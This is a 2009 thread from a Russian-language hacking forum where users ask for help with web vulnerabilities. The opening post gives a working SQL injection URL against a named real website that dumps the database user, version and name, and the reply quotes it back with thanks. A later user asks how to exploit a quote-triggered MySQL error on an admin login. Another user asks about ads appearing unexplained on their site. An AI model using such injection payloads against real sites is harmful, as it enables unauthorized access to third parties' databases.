Ваши вопросы по уязвимостям.

01.11.2009, 18:07

z00MAN

Постоянный

Регистрация: 20.11.2008

Сообщений: 406

С нами: 9196401

Репутация: 930

keng
как вариант:

Код:

http://www.bmx.ru/foto.php?al_id=-17+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6--

𝕏 Twitter Reddit Telegram Копировать ссылку

01.11.2009, 18:09

keng

Познающий

Регистрация: 09.04.2008

Сообщений: 79

С нами: 9520453

Репутация: 124

Цитата:

Сообщение от z00MAN

keng
как вариант:

Код:

http://www.bmx.ru/foto.php?al_id=-17+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6--

Благодарю!

01.11.2009, 18:45

street16

Познающий

Регистрация: 18.09.2006

Сообщений: 43

С нами: 10339129

Репутация: 3

Есть сайт!есть админка.в поле login ввожу ковычку.выдаёт Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /usr/home/data/www/includes/functions_mysql.php on line 67.Что можно сделать?

01.11.2009, 18:50

keng

Познающий

Регистрация: 09.04.2008

Сообщений: 79

С нами: 9520453

Репутация: 124

Цитата:

Сообщение от street16

Можно почитать вот эту статью. Конкретно - пункт 1.3. =)

02.11.2009, 09:41

truelamer

Участник форума

Регистрация: 06.11.2007

Сообщений: 143

С нами: 9742875

Репутация: 81

вопрос довольно не обычный. Есть сайт, двиг самописный, все JS вещи реализованы при помощи jQUery. На главной странице есть див который каджые 10 секунд обновляется, т.е. происходит ajax запрос в базу, запрос возоврщает колличество записей и обновляется див с колличеством записей

Так вот проблема!!!! почему-то необъяснимым образом ИНОГДА вместо числа в этом диве отображается реклама хз откуда всявшаяся, на самом сайте нет рекламы ни какой и партнерки ни какие не подключены и траф не сливается ни куда.

то это за хрень может быть, код чистый проверяли много раз, где уязвимость, что уязвимо

02.11.2009, 18:05

Luck3r

Новичок

Регистрация: 01.11.2009

Сообщений: 21

С нами: 8697636

Репутация: 5

Цитата:

Сообщение от truelamer

Мистика?

Пиши в асю. Щас не очень занят. Разберемся

Цитата:

Экранизируй кавычку.

Последний раз редактировалось Luck3r; 02.11.2009 в 18:10..

02.11.2009, 19:31

Shram-spb

Познающий

Регистрация: 06.06.2007

Сообщений: 83

С нами: 9963383

Репутация: 140

Цитата:

Сообщение от truelamer

Дак ты бы ссылку дал... тут надо глазами посмотреть...

02.11.2009, 09:46

wolmer

Постоянный

Регистрация: 12.05.2009

Сообщений: 395

С нами: 8947056

Репутация: 229

Ап по посту #9830 (forum.antichat.ru/showpost.php?p=1646301&postcount=9830)

Последний раз редактировалось wolmer; 02.11.2009 в 09:52..

02.11.2009, 19:34

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

С нами: 9649706

Репутация: 3338

Цитата:

то это за хрень может быть, код чистый проверяли много раз

ага, плохо проверял

Цитата:

Дак ты бы ссылку дал... тут надо глазами посмотреть...

тогда уж и шелл сразу, чтобы "проверить скрипты на наличие ифреймов и прочего"

Автор, сам не можешь - нанимай спеца, вот и весь разговор. Такие вещи в каждом случае прячутся очень индивидуально